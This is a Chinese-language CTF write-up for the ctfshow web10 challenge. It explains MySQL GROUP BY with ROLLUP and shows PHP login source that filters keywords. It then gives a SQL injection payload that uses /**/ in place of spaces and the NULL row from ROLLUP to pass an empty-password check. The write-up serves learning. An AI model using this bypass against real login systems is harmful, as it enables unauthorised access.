2021-11-13
作者:互联网
做ctfshow web10,感觉挺有意思的,记录下来
特殊的语法
在讲做题之前,先说一下mysql的几个特殊的语法
首先这是我们的users表
group by
group by的作用就是将打印出来的表排序
例如:
最后输出一个排序后的结果,我添加了一个count(*)计数使其看的更明显
当然也可以去掉count(*)
with rollup
with rollup的作用就是在group by 排序的基础上再加一行,用来统计所有的数目
把count(*)去掉就是
可以看到password的列表凭空多出了一个NULL值,利用这个NULL就可以开始我的骚姿势的
做题过程
下面是源码,
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
利用replaceSpecialChar函数过滤掉了大多数的关键词,
mysqli_num_rows是算返回的结果有多少行
mysqli_fetch_assoc是将返回的结果以数组的形式输出,也就是$row最后代表的是整个password的表
下面是前端界面
结合一开始讲的语法,我们只需要像下面这样构造payload
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup
password=
我们在登录框输入username后,在password这一框选择不输入,也就是输入为空,那么当后端匹配password时总会匹配到这个NULL值
在这里/**/用来防止空格过滤,1=1是在测试的时候发现没有admin这个字段,那么我们只需要1=1让它语句成立,也就是最后的后端连接sql语句为
select * from user group by password whith rollup
最终也就得到了flag
标签:11,username,13,group,rollup,2021,sql,mysqli,password 来源: https://blog.csdn.net/qq_51553814/article/details/121308168